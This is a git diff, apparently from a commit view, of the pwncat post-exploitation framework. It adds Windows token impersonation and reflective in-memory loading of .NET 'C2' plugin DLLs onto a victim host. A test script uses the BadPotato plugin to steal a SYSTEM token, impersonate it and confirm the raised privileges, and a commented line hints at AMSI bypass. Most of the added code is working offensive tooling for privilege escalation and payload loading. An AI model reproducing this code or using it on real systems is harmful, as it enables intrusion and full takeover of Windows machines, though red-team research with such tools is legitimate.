version = pathlib.PureWindowsPath(install_utils).parts[-2]
|
||||
|
||||
self.session.log(
|
||||
f"using install utils from .net [cyan]{version}[/cyan]", highlight=False
|
||||
)
|
||||
|
||||
install_utils = install_utils.replace(" ", "\\ ")
|
||||
|
||||
@ -657,7 +742,7 @@ function prompt {
|
||||
self.channel.recvuntil(b"\n")
|
||||
|
||||
# Load, Compress and Encode stage two
|
||||
with stagetwo.open("rb") as filp:
|
||||
with Windows.open_plugin(self.manager, "stagetwo.dll") as filp:
|
||||
stagetwo_dll = filp.read()
|
||||
compressed = BytesIO()
|
||||
with gzip.GzipFile(fileobj=compressed, mode="wb") as gz:
|
||||
@ -1343,3 +1428,90 @@ function prompt {
|
||||
raise PowershellError(exc.message)
|
||||
|
||||
return [json.loads(x) for x in result["output"]]
|
||||
|
||||
def impersonate(self, token: int):
|
||||
"""Impersonate a user token in the powershell and .net contexts.
|
||||
|
||||
:param token: the user token to impersonate
|
||||
:type token: int
|
||||
"""
|
||||
|
||||
try:
|
||||
return self.run_method("Identity", "Impersonate", token)
|
||||
except ProtocolError:
|
||||
return False
|
||||
|
||||
def revert_to_self(self):
|
||||
""" Revert any impersonations and return to the original user """
|
||||
|
||||
return self.impersonate(0)
|
||||
|
||||
def dotnet_load(
|
||||
self, name: str, content: Optional[Union[bytes, BytesIO]] = None
|
||||
) -> DotNetPlugin:
|
||||
"""
|
||||
Reflectively load a .Net C2 plugin from the attacker machine. The
|
||||
plugin DLL should implement the ``Plugin`` class and method interface.
|
||||
The name argument can either be a path to a local DLL or the name of a
|
||||
DLL provided by a built-in plugin. Built-in plugins will be automatically
|
||||
downloaded if not present in the directory pointed to by the ``plugin_path``
|
||||
configuration.
|
||||
|
||||
Plugins are also deduplicated prior to loading on the victim. If a given
|
||||
DLL name or a file with a matching hash has already been loaded, the existing
|
||||
plugin object is returned, and the DLL is not loaded again.
|
||||
|
||||
The return :class:`DotNetPlugin` class is capable of cleanly translating method
|
||||
calls to the methods within the loaded DLL. For example, if ``plugin.dll`` defined
|
||||
a method named ``foo``, which took a single string argument, you could call it with:
|
||||
|
||||
.. code-block:: python
|
||||
|
||||
plugin = session.platform.dotnet_load("./plugin.dll")
|
||||
result = plugin.foo("Hello World!")
|
||||
|
||||
Plugins can take as parameters and return any JSON-serializable objects.
|
||||
|
||||
:param name: name or path to the DLL to upload
|
||||
:type name: str
|
||||
:param content: content of the DLL to load or file-like object, if not present on disk
|
||||
:type content: Optional[Union[bytes, BytesIO]]
|
||||
:rtype: DotNetPlugin
|
||||
"""
|
||||
|
||||
try:
|
||||
plugin = [plugin for plugin in self.plugins if name in plugin.names][0]
|
||||
return plugin
|
||||
except IndexError:
|
||||
pass
|
||||
|
||||
if content is None:
|
||||
with Windows.open_plugin(self.manager, name) as filp:
|
||||
content = filp.read()
|
||||
|
||||
if not isinstance(content, bytes):
|
||||
content = content.read()
|
||||
|
||||
# Calculate the digest
|
||||
checksum = hashlib.md5(content).hexdigest()
|
||||
|
||||
# Ensure we haven't loaded the same plugin under another name
|
||||
try:
|
||||
plugin = [plugin for plugin in self.plugins if plugin.checksum == checksum][
|
||||
0
|
||||
]
|
||||
plugin.names.append(name)
|
||||
return plugin
|
||||
except IndexError:
|
||||
pass
|
||||
|
||||
# Encode the assembly
|
||||
assembly = base64.b64encode(content).decode("utf-8")
|
||||
|
||||
# Load the assembly. Let protocol errors propogate
|
||||
ident = self.run_method("Reflection", "load", assembly)
|
||||
|
||||
plugin = DotNetPlugin(self, name, checksum, ident)
|
||||
self.plugins.append(plugin)
|
||||
|
||||
return plugin
|
||||
|
34
test.py
34
test.py
@ -20,4 +20,36 @@ with pwncat.manager.Manager("data/pwncatrc") as manager:
|
||||
# session = manager.create_session("linux", host="pwncat-ubuntu", port=4444)
|
||||
# session = manager.create_session("linux", host="127.0.0.1", port=4445)
|
||||
|
||||
print(session.platform.Path("./nonexistent.txt").resolve())
|
||||
# session.platform.powershell("amsiutils")
|
||||
|
||||
try:
|
||||
# Load the BadPotato plugin
|
||||
session.log("leaking system token w/ BadPotato")
|
||||
badpotato = session.platform.dotnet_load("BadPotato.dll")
|
||||
|
||||
# Call the method within the DLL to leak a system token
|
||||
system_token = badpotato.get_system_token()
|
||||
session.log(f"found system token: {system_token}")
|
||||
session.log("impersonating token...")
|
||||
|
||||
# Impersonate the SYSTEM token
|
||||
session.platform.impersonate(system_token)
|
||||
|
||||
# Checkout our active user through powershell
|
||||
result = session.platform.powershell(
|
||||
"[System.Security.Principal.WindowsIdentity]::GetCurrent().Name"
|
||||
)
|
||||
session.log(f"now running as: {result[0]}")
|
||||
|
||||
session.platform.refresh_uid()
|
||||
|
||||
session.log(session.platform.getuid())
|
||||
session.log(session.find_user(uid=session.platform.getuid()))
|
||||
|
||||
except (
|
||||
pwncat.platform.windows.ProtocolError,
|
||||
pwncat.platform.windows.PowershellError,
|
||||
) as exc:
|
||||
session.log(f"badpotato failed: {exc}")
|
||||
|
||||
manager.interactive()
|
||||
|
Loading…
Reference in New Issue
Block a user